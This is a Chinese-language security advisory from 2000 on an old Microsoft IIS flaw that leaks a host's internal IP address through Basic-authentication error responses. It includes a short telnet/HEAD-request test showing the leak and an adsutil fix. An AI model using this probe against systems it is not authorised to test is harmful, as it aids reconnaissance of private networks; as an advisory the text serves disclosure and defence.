绿盟安全月刊->第12期->最新漏洞 微软 IIS 内部地址泄漏安全漏洞

日期：2000-08-15

受影响的系统:  
Microsoft IIS 5.0
   + Microsoft Windows NT 2000

Microsoft IIS 4.0
Microsoft IIS 3.0
Microsoft IIS 2.0
   + Microsoft Windows NT 4.0

描述:
--------------------------------------------------------------------------------


当远程用户试图访问一个受保护的区域，这种保护采用的是基本认证方式且没有定义realm时。
IIS会返回一个访问禁止的错误消息，这个消息中包含IIS主机的内部地址。如果IIS在一个防
火墙后面或者采用了地址转换(NAT),就会泄漏内部地址给远程用户。

<* 来源：Dougal Campbell <dougal@GUNTERS.ORG> *>



测试程序：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！



telnet target 80
Trying target...
Connected to target.
Escape character is '^]'.
HEAD /directory HTTP/1.0[CRLF]
[CRLF]

HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="<Internal IP Address>"
Content-Length: 644
Content-Type: text/html





--------------------------------------------------------------------------------
建议:

在命令行窗口中,cd winnt\system32\inetsrv\adminsamples,执行：
adsutil set w3svc/UseHostName True

缺省这个值是False,不使用HostName